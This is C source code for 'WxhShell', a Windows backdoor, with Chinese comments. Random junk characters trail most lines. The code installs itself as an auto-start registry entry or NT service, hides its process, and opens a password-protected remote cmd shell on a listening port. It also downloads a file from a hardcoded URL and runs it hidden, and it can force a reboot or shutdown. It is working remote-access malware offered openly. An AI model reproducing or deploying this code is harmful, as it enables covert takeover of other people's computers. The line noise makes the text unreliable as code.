    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \P]w^  
    else { Ev;HV}G  
    closesocket(wsh); }f)$+mi  
    ExitThread(0); hoI?,[@F  
    } J#B% #X  
    break; {S(d5o8  
    } E4RvVfA0F  
  // 获取shell C.V")D=  
  case 's': { [-!   
    CmdShell(wsh); >*H>'O4  
    closesocket(wsh); 2't<Hl1qN  
    ExitThread(0); cZKK\hf<  
    break; !=@Lyt)_b  
  } W R@=[G#TJ  
  // 退出 h5WS<P  
  case 'x': { Y - 6 ?x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e{8z1t20:  
    CloseIt(wsh); N+x0"~T}I  
    break; AOQimjW9a  
    } kM5N#|!  
  // 离开 \o9-[V#Gm  
  case 'q': { hK"hMyH^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ei2Y)_   
    closesocket(wsh); 9;s:Bo  
    WSACleanup(); v5l)T}Nb  
    exit(1); ^'i(@{{o\  
    break; `;b@a<Wl  
        } {4Y@ DQ-  
  } p+U}oC  
  } :G9+-z{Y&  
2#l<L>#  
  // 提示信息 ep .AW'+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T6JN@:8  
} f>ohu^bd  
  } Zws[}G"7h  
Z`nHpmNM  
  return; LAeJz_9U  
} g1VdP[Y#  
LY2oBX@fC  
// shell模块句柄 r  H;@N  
int CmdShell(SOCKET sock) q}e"E cr  
{ 1VK?Svnd  
STARTUPINFO si; 0ZPwEP  
ZeroMemory(&si,sizeof(si)); EZaWEW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /kE3V`es  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {]<l|qK  
PROCESS_INFORMATION ProcessInfo; zu'Uau  
char cmdline[]="cmd"; Ql a'vcT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j*>+^g\Q6  
  return 0; 3}=r.\]U  
} :S}!i?n  
~C=I{qzF+  
// 自身启动模式 TSqfl/UI  
int StartFromService(void) .MkHB0 2N  
{ !TY9\8JzV  
typedef struct \UM9cAX`  
{ ^]w!ow41  
  DWORD ExitStatus; y:(OZ%g  
  DWORD PebBaseAddress; IY6DZP  
  DWORD AffinityMask; 24PEt%2  
  DWORD BasePriority; ,80qwN,  
  ULONG UniqueProcessId; /e :V44  
  ULONG InheritedFromUniqueProcessId; >f#P(  
}   PROCESS_BASIC_INFORMATION; D].!u{##  
T:q_1W?h]  
PROCNTQSIP NtQueryInformationProcess; ~4h<nc  
6s\niro2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BDSZ'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ){`s&?M0  
:b)IDcW&j:  
  HANDLE             hProcess; HQ~`ha.  
  PROCESS_BASIC_INFORMATION pbi; %JM:4G|q  
~K}iVX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e5KsKzu a  
  if(NULL == hInst ) return 0; $X8(OS5d'  
;q]Jm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OJiW@Z_\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b/'{6zn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Jh*S`e  
2^w3xL"   
  if (!NtQueryInformationProcess) return 0;  H"czF  
lxb+0fiN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qd;P?W6  
  if(!hProcess) return 0; 7S$Am84%  
"s!!\/^9C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 52?zBl`|  
1=(jpy  
  CloseHandle(hProcess); -V0_%Smc  
eJA$J=^R;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MyB&mC7Es  
if(hProcess==NULL) return 0; u(l[~r>8W;  
Y,Dd} an  
HMODULE hMod; 3qJOE6[}%  
char procName[255]; hw! l{yv  
unsigned long cbNeeded; /ivcqVu]  
_R&mN\ey5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `i5U&K. 7  
.GcIwP'aU-  
  CloseHandle(hProcess); i ,Cvnp6Lv  
eKjmU| H  
if(strstr(procName,"services")) return 1; // 以服务启动 .j?`U[V%a  
ws8@y r<R  
  return 0; // 注册表启动 abiZ"?(  
} 'i5 VU4?K  
`)V1GR2 ES  
// 主模块 -n&g**\w  
int StartWxhshell(LPSTR lpCmdLine) e$]`  
{ 8* 7t1$  
  SOCKET wsl; .4on7<-a  
BOOL val=TRUE; <=.0 P/N  
  int port=0; Pyh+HD\  
  struct sockaddr_in door; \7rAQ[\#V  
.nN=M>#/  
  if(wscfg.ws_autoins) Install(); 4x7(50hp#  
vD<6BQR  
port=atoi(lpCmdLine); iUSP+iC,  
*69{#qN  
if(port<=0) port=wscfg.ws_port; -e< d//>  
e R Y2.!  
  WSADATA data; Fp'qn'){:#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^X-3YhJ4U  
<xpOi&l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R_9&V!fl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S(NH# ^  
  door.sin_family = AF_INET; Zoe>Ow8mE`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LXYpP- E  
  door.sin_port = htons(port); 6v8HR}iK  
58xaVOhb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m$<LO%<~p  
closesocket(wsl); HYVSi3[  
return 1; MKVz'-`u  
} t Gt/=~n9  
iMG)zPj  
  if(listen(wsl,2) == INVALID_SOCKET) { %smQ`u|  
closesocket(wsl); 5ncjv@Aa  
return 1; *+(t2!yFmE  
} .OhpItn  
  Wxhshell(wsl); CTawXHM  
  WSACleanup(); Q{%2Npvq  
dRw O t  
return 0; :"m~tU3&  
( w4w  
} y8} fj=  
7$3R}=Z`\q  
// 以NT服务方式启动 S1jI8 #z}_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m(0sG(A~  
{ 4I7B #{  
DWORD   status = 0; \s_lB~"P!3  
  DWORD   specificError = 0xfffffff; [5[}2 B_t  
F`!B!uY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J|*Z*m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -s~6FrKy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Hk4~v6pqC  
  serviceStatus.dwWin32ExitCode     = 0; % mP%W<  
  serviceStatus.dwServiceSpecificExitCode = 0; '{]1!yMh  
  serviceStatus.dwCheckPoint       = 0; E/bIq}R6  
  serviceStatus.dwWaitHint       = 0; OJ#eh w<  
j,<3[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W,sU5sjA  
  if (hServiceStatusHandle==0) return; D5]AL5=Xt2  
+'fy%/  
status = GetLastError(); w Vegr  
  if (status!=NO_ERROR) 0|6]ps4Z7  
{ JFAmND;+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5\\#kjjx  
    serviceStatus.dwCheckPoint       = 0; mjgwU8'![  
    serviceStatus.dwWaitHint       = 0; 7D'-^#S5  
    serviceStatus.dwWin32ExitCode     = status; /#mq*kNIM6  
    serviceStatus.dwServiceSpecificExitCode = specificError; mCM7FFl I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b1+6I_u.  
    return; H~Z$pk%  
  } qY,z,o AF  
b\6 )whh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .<xzf4C  
  serviceStatus.dwCheckPoint       = 0; :r4]8X-  
  serviceStatus.dwWaitHint       = 0; 3[q&%Z.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0cYd6u@  
} s*'L^>iZ  
W&M=%  
// 处理NT服务事件,比如:启动、停止 |gXtP-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eZ>KA+ C[  
{ oJ\)-qSf  
switch(fdwControl) (CUrFZT$  
{ 1Yr&E_5/  
case SERVICE_CONTROL_STOP: N5W;Zx]  
  serviceStatus.dwWin32ExitCode = 0; b5!\"v4c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NO$n-<ag  
  serviceStatus.dwCheckPoint   = 0; |E{tS,{OhJ  
  serviceStatus.dwWaitHint     = 0; ]JGh[B1gh  
  { FEOr'H<3x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X?6E0/r&9  
  } [^N8v;O  
  return; 4Cd#S9<ed  
case SERVICE_CONTROL_PAUSE: +f5|qbX/\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \R!.VL3Tx$  
  break; O $dcy!  
case SERVICE_CONTROL_CONTINUE: 0QzUcr)3+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ywQ>T+  
  break; iJ8 5okv'  
case SERVICE_CONTROL_INTERROGATE: 8PN/*Sa  
  break; 0P MF)';R  
}; "zN2+X"&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :ik$@5wp  
} Z)V m,ng  
3o).8b_3g  
// 标准应用程序主函数 l ~bjNhk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )7X+T'?%  
{ B: '}SA{  
6CQ.>M:R  
// 获取操作系统版本 $5(_U  
OsIsNt=GetOsVer(); "o| f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +&AKDVmx  
|6qxRWT"  
  // 从命令行安装 I JPpF`  
  if(strpbrk(lpCmdLine,"iI")) Install(); o0yyP,?yh  
v~l_6V}  
  // 下载执行文件 * ':LBc=%  
if(wscfg.ws_downexe) { *.'9eC0s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F'v3caE  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3Jt7IM!9[  
} B~%'YQk  
O?p8Gjf  
if(!OsIsNt) { [ H~Yg2O  
// 如果时win9x,隐藏进程并且设置为注册表启动 g Kp5*  
HideProc(); S%NS7$`a  
StartWxhshell(lpCmdLine); jruXl>T!U  
} 6[b?ckvi  
else Y 6NoNc]h  
  if(StartFromService()) UU7E+4O&  
  // 以服务方式启动 "-y 2En  
  StartServiceCtrlDispatcher(DispatchTable); cpIFjb>u{  
else p3m!Iota  
  // 普通方式启动 \hlQu{q.  
  StartWxhshell(lpCmdLine); 7g* "AEk  
;8| D4+  
return 0; sl5y1W/]]  
} -K"" 4SC2  
}Q }&3m~g  
0XkLWl|k  
S]Y3nI  
=========================================== TT85G&#  
%VV\biO]  
rNi]|)-ET  
4$5d*7  
t:NYsL  
9/8#e+L  
"  +*W9*gl  
3 s@6pI  
#include <stdio.h> ^)JUl!5j]C  
#include <string.h> @ij8AGE:  
#include <windows.h> oVD)Fb%[i9  
#include <winsock2.h> u~uR:E%'C  
#include <winsvc.h> z%4E~u10  
#include <urlmon.h> {Df97n%h;  
 #  
#pragma comment (lib, "Ws2_32.lib") 1 #zIAN>  
#pragma comment (lib, "urlmon.lib") N WSm  
)aV\=a |A  
#define MAX_USER   100 // 最大客户端连接数 "mbjS(-eg  
#define BUF_SOCK   200 // sock buffer }NH\Q$IU  
#define KEY_BUFF   255 // 输入 buffer fXL&?~fS  
QU#u5sX A  
#define REBOOT     0   // 重启 wgN)*dpuI  
#define SHUTDOWN   1   // 关机 P#8+GN+bF  
aEO``W  
#define DEF_PORT   5000 // 监听端口 QNN*/n  
n+sV $*wvS  
#define REG_LEN     16   // 注册表键长度 wqB 5KxO  
#define SVC_LEN     80   // NT服务名长度 3Y;<Q>roT  
9_$i.@L 1  
// 从dll定义API T%[&[8{8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yLC5S3^1\"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &J]|pf3m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4 6yq F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [Iwb7a0p  
m L#%H(  
// wxhshell配置信息 lmsO 6=I4F  
struct WSCFG { 35;UE2d)<  
  int ws_port;         // 监听端口 x|7vN E=Q  
  char ws_passstr[REG_LEN]; // 口令 {?!0<0  
  int ws_autoins;       // 安装标记, 1=yes 0=no `4xnM`:L"  
  char ws_regname[REG_LEN]; // 注册表键名 Wzn!BgxRr  
  char ws_svcname[REG_LEN]; // 服务名 JU6PBY~C'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {vp|f~}zTw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A`#/:O4|f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Gos-_s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >V01%fLd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I^u$H&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !,SGKLs.m  
Q; V*M  
}; p{V_}:|=Q  
L~Hl?bK  
// default Wxhshell configuration `wMHjcUP  
struct WSCFG wscfg={DEF_PORT, MrW*6jY@  
    "xuhuanlingzhe", <FkoWN  
    1, @nh* H{  
    "Wxhshell", OBCH%\;g  
    "Wxhshell", <P%<EgOE  
            "WxhShell Service", x5X;^.1Fr  
    "Wrsky Windows CmdShell Service", >qqI6@h]c  
    "Please Input Your Password: ", V[Z^Z  
  1, !vrdu OB  
  "http://www.wrsky.com/wxhshell.exe", Pse1NMK9 [  
  "Wxhshell.exe" }k{h^!fV  
    }; 8E/wUN,Lxj  
Au=9<WB%H  
// 消息定义模块 Q#h*C ZT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zXEu3h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MF41q%9p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z#j)uD  
char *msg_ws_ext="\n\rExit."; O(_a6s+m  
char *msg_ws_end="\n\rQuit."; n[E#K`gg'  
char *msg_ws_boot="\n\rReboot..."; f%g^6[  
char *msg_ws_poff="\n\rShutdown..."; =V[ey  
char *msg_ws_down="\n\rSave to "; "3?N*,U_  
@W|N1,sp  
char *msg_ws_err="\n\rErr!"; !5wuBJ0  
char *msg_ws_ok="\n\rOK!"; mY'c<>6t  
%k"qpu  
char ExeFile[MAX_PATH]; z5> {(iY;,  
int nUser = 0; +=N!37+G  
HANDLE handles[MAX_USER]; as k76  e  
int OsIsNt; ='\Di '*  
l>kREfHq!{  
SERVICE_STATUS       serviceStatus; cu@i;Hb@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4/Mi-ls_  
IAl X^6s*  
// 函数声明 VEc^Ap1?'  
int Install(void); 2~wIHtd  
int Uninstall(void); 'g@Yra&09  
int DownloadFile(char *sURL, SOCKET wsh); @[=K`n:n_  
int Boot(int flag); nZtP!^#  
void HideProc(void); ^^;#Si  
int GetOsVer(void); fPA5]a9  
int Wxhshell(SOCKET wsl); 2VZdtz  
void TalkWithClient(void *cs); Ofm?`SE*|  
int CmdShell(SOCKET sock); IQm[ ,Fh  
int StartFromService(void); Twi7g3}/jB  
int StartWxhshell(LPSTR lpCmdLine); r](%9Y  
=dp(+7Va  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1FPt%{s3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C||9u}Q<  
Hf#VW^  
// 数据结构和表定义 l$\OSG  
SERVICE_TABLE_ENTRY DispatchTable[] = P{gGvC,  
{ B(zcoWQ*B  
{wscfg.ws_svcname, NTServiceMain}, GdlzpBl  
{NULL, NULL} h,palP6^  
}; O,c}T7A'?w  
;Pd nE~  
// 自我安装 &hSABtr}  
int Install(void) )*CDufRFz  
{ [dXpz^Co  
  char svExeFile[MAX_PATH]; ^tr?y??k  
  HKEY key; zT< P_l  
  strcpy(svExeFile,ExeFile); ~Q3y3,x  
Y+kfMAv  
// 如果是win9x系统,修改注册表设为自启动 5Xr<~xr  
if(!OsIsNt) { ^DQp9$la  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "dItv#<:}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dln1JZ!  
  RegCloseKey(key); h8)m2KrZ!.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,SQ`, C _5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "gQ-{ W  
  RegCloseKey(key); ]E:K8E  
  return 0; fK?/o]vq  
    } "B34+fOur  
  } <pXF$a:s  
} iLIv<VK/d  
else { cN&]JS,  
P2t{il   
// 如果是NT以上系统,安装为系统服务 bgNN0,+8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |({ M8!BS  
if (schSCManager!=0) yd>b2 M  
{ +! F+m V9  
  SC_HANDLE schService = CreateService p7{%0  
  ( ;iq58.  
  schSCManager, v"I#.{LiH=  
  wscfg.ws_svcname, |}07tUq  
  wscfg.ws_svcdisp, {}A1[ Y|  
  SERVICE_ALL_ACCESS, 'Y;M%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @,i_Gw)  
  SERVICE_AUTO_START, U%?  
  SERVICE_ERROR_NORMAL, 5Kw$QJ/  
  svExeFile, /9 ^F_2'_  
  NULL, }NgevsV>;  
  NULL, kHhxR;ymA7  
  NULL, {)5tov1  
  NULL, <} BuU!  
  NULL 1!P\x=Nn_  
  ); 1I#]OY#>  
  if (schService!=0) = 9K5f# ;e  
  { \kS:u}Ip!  
  CloseServiceHandle(schService); dR|*VT\  
  CloseServiceHandle(schSCManager); U{[ g"_+~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qPvWb1H:  
  strcat(svExeFile,wscfg.ws_svcname); , |lDR@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,g~Iup  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %={[e`,  
  RegCloseKey(key); {n'+P3\T:  
  return 0; .gP}/dj  
    } ;+3XDz v  
  } 7+2DsZ^6MW  
  CloseServiceHandle(schSCManager); KM:k<pvi  
} 8TH fFL  
} XN Gw@$  
g[%^OT#  
return 1; u$%;03hJ  
} pcC/$5FQ  
hziPHuK9,  
// 自我卸载 vvwQ/iJO4Q  
int Uninstall(void) \\d!z-NOk?  
{ >gSiH#>  
  HKEY key; 7mT iO?/y<  
TYH4r q &  
if(!OsIsNt) { S9mcThcZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >2BWie?T  
  RegDeleteValue(key,wscfg.ws_regname); H)rE-7(f!  
  RegCloseKey(key); 9,J^tN@^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 YA  
  RegDeleteValue(key,wscfg.ws_regname); Q| _e=  
  RegCloseKey(key); A1p87o>  
  return 0; $9@jV<Q1  
  } ]; Z[V  
} <oKoz0!  
} 'L5ih|$>  
else { *I<L1g%9d  
BTAt9Z8qK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3vC"Q!J&  
if (schSCManager!=0) 4 >`2vb  
{ /73ANQ"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C &~s<tcn  
  if (schService!=0) hYSzr-)  
  { Pu0 <Clh  
  if(DeleteService(schService)!=0) { ~zO>Q4-k  
  CloseServiceHandle(schService); sBq6,Iu  
  CloseServiceHandle(schSCManager); K*sav?c  
  return 0; ZFFKv  
  } O =gv2e  
  CloseServiceHandle(schService); ,>Yl(=&  
  } 4^3lG1^YY  
  CloseServiceHandle(schSCManager); Y=$PsDh!  
} DOB#PI [/  
} uN*Ynf(:-  
;_iDiLC;  
return 1; ;kfl5  
} 6+LBs.vl}  
E'iN==p_:  
// 从指定url下载文件 m/bP`-/,  
int DownloadFile(char *sURL, SOCKET wsh) EN-;@P9;C  
{ H/''lI{k)  
  HRESULT hr; k/,7FDO?m  
char seps[]= "/"; h6;vOd~%  
char *token; l#|wF$J  
char *file; u.rFZu?E\  
char myURL[MAX_PATH];  0U&@;/?  
char myFILE[MAX_PATH]; iyJx~:  
6 qK`X  
strcpy(myURL,sURL); MG-#p8  
  token=strtok(myURL,seps); 8k_cC$*Ng  
  while(token!=NULL) p6AF16*f0  
  { i}=n6  
    file=token; von<I  
  token=strtok(NULL,seps); ,vcd>"PK  
  } 0?Bv zfb  
>)*0lfxTZ  
GetCurrentDirectory(MAX_PATH,myFILE); OSY.$$IO  
strcat(myFILE, "\\"); M"s+k  
strcat(myFILE, file); >XJUj4B|X  
  send(wsh,myFILE,strlen(myFILE),0); BIY"{"hJ  
send(wsh,"...",3,0); `_+%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pQCocy  
  if(hr==S_OK) PR3&LI;B*  
return 0; PdqyNn=  
else ZE:!>VXa87  
return 1; QruclNW{Bv  
?^gq  
} ;2}wrX  
;)23@6{R%  
// 系统电源模块 $i|d=D&t  
int Boot(int flag)  wzf  
{ pB:/oHV  
  HANDLE hToken; z2U^z*n{  
  TOKEN_PRIVILEGES tkp; MRN=-|fV^  
r?2J   
  if(OsIsNt) { ` #; "  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &j?+%Y1n@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S~hoAl"xb/  
    tkp.PrivilegeCount = 1; i5#4@ 4aC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MG:eI?G/'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sH51 .JG  
if(flag==REBOOT) { |crm{]7X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L/xTW  
  return 0; NiBly  
} 0q o]nw  
else { 3W3)%[ 5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f-`C1|\w  
  return 0; ] XjL""EbC  
} +lw8YH  
  } 2?nEHIUT  
  else { :$Xvq-#$|  
if(flag==REBOOT) { srK9B0I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jK\AVjn  
  return 0; XsGc!  o  
} ^t Y _ q  
else { O39f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "0aJE1) p:  
  return 0; !g4u<7  
} vLIaTr gz  
} PVaqKCj:6W  
KsQn%mxS  
return 1; 9xOTR#B:_V  
} opgNt o6$  
I9L7,~s  
// win9x进程隐藏模块 *~kHH  
void HideProc(void) Ejj+%)n.  
{ 7;9 Jn  
R!rj:f!>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~EM(*k._  
  if ( hKernel != NULL ) rUg|5EN^)d  
  { tE<'*o'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'fPDODE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u]Z;Q_=  
    FreeLibrary(hKernel); 7O,!67+^~  
  } e.WKf,e"X  
uxlrJ1~M  
return; (bAw>  
} d' l|oeS  
CU@}{}Yl  
// 获取操作系统版本 dWP<,Z>  
int GetOsVer(void) y\_k8RqE^  
{ #ri;{d^6  
  OSVERSIONINFO winfo; m4?a'z"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qIwsK\^p  
  GetVersionEx(&winfo); 4 q\&Mb3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3fxcH  
  return 1; IZBY*kr  
  else Y+{jG(rg.F  
  return 0; NUFW SL>  
} `_SV1|=="8  
Z8`Y}#Za[  
// 客户端句柄模块 uM,R+)3  
int Wxhshell(SOCKET wsl) -z">ov-)  
{ W<:x4gBa  
  SOCKET wsh; <"yL(s^u"  
  struct sockaddr_in client; .'b| pd  
  DWORD myID; JnLF61   
EMzJyGt7  
  while(nUser<MAX_USER) ajW2HH*9}A  
{ ?5;N=\GQ  
  int nSize=sizeof(client); RZ|M;c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C!U$<_I\2  
  if(wsh==INVALID_SOCKET) return 1; > D%  
F+!9T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a U*}.{<!  
if(handles[nUser]==0) }/QtIY#I  
  closesocket(wsh); Vwb_$Yi+]  
else Nu euCiP  
  nUser++; TE6]4E*  
  } -""(>$b 2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Py#TXzEcC  
#gVWLm<  
  return 0; SqZ .}s  
} & gcZ4 gpH  
4 %V9  
// 关闭 socket gv){&=9/  
void CloseIt(SOCKET wsh) _'l"Dk  
{ O l;DJV  
closesocket(wsh); xnHB <xrE}  
nUser--; 5\}E4y  
ExitThread(0); qRHT~ta-?  
} 2I283%xr  
mpQu:i|W  
// 客户端请求句柄 Lngf,Of.e  
void TalkWithClient(void *cs) dDa&:L  
{ 0U8'dYf  
v#?;PyeF  
  SOCKET wsh=(SOCKET)cs;  dZX;k0  
  char pwd[SVC_LEN]; 'Y/kF1,*  
  char cmd[KEY_BUFF]; &Q*  7  
char chr[1]; Zv(6VVj  
int i,j; wVs"+4l<  
_bt9{@)  
  while (nUser < MAX_USER) { ]Y@_2`  
>+DM TV[O  
if(wscfg.ws_passstr) { \BX9Wn*)a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tn9F g7<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N 1ydL  
  //ZeroMemory(pwd,KEY_BUFF); Z5 7.+z<  
      i=0; YFDOp *  
  while(i<SVC_LEN) { CY.4>,  
1Vc~Sa  
  // 设置超时 _mJhY0Oc  
  fd_set FdRead; iCCe8nK  
  struct timeval TimeOut; ]E)\>Jb  
  FD_ZERO(&FdRead); 'bsHoO  
  FD_SET(wsh,&FdRead); C DoD9Hq,  
  TimeOut.tv_sec=8; )+ 'r-AF*  
  TimeOut.tv_usec=0; #lc6-K#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y06xl:iQwF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5nTcd@lX  
qoZ)"M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /8!n7a7  
  pwd=chr[0]; o1"N{ Eu  
  if(chr[0]==0xd || chr[0]==0xa) { 0+u >"7T  
  pwd=0;  v7Ps-a)  
  break; H23 O]r  
  } sPVE_n  
  i++; ,SNt*t1"  
    } 3hxV`rb  
6}VFob#h8  
  // 如果是非法用户,关闭 socket e=aU9v L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |KVVPXtq%C  
} yPY{ZADkQ  
g*`xEb= '  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q*M(d\Vs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f:y1eLl3  
*K|ah:(r1\  
while(1) { zR <fz  
9gglyoZ%  
  ZeroMemory(cmd,KEY_BUFF); O;i0xWUh  
W\j)Vg__e  
      // 自动支持客户端 telnet标准   TD%L`Gk  
  j=0; B?yj U[/R  
  while(j<KEY_BUFF) { l}r9kS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hg#O_4D  
  cmd[j]=chr[0]; 0S9~db  
  if(chr[0]==0xa || chr[0]==0xd) { I>##iiKN  
  cmd[j]=0; 7 \[fjCg\w  
  break; 3o0ZS^#eB  
  } xRdx` YYu  
  j++; y. 1F@w|  
    } 2i;ox*SfpU  
cD=IFOB*GD  
  // 下载文件 N UJ $)qNA  
  if(strstr(cmd,"http://")) { z@w}+fYO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JZ~wacDd  
  if(DownloadFile(cmd,wsh)) %n GjP^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Gh\T`=  
  else <=D  a  
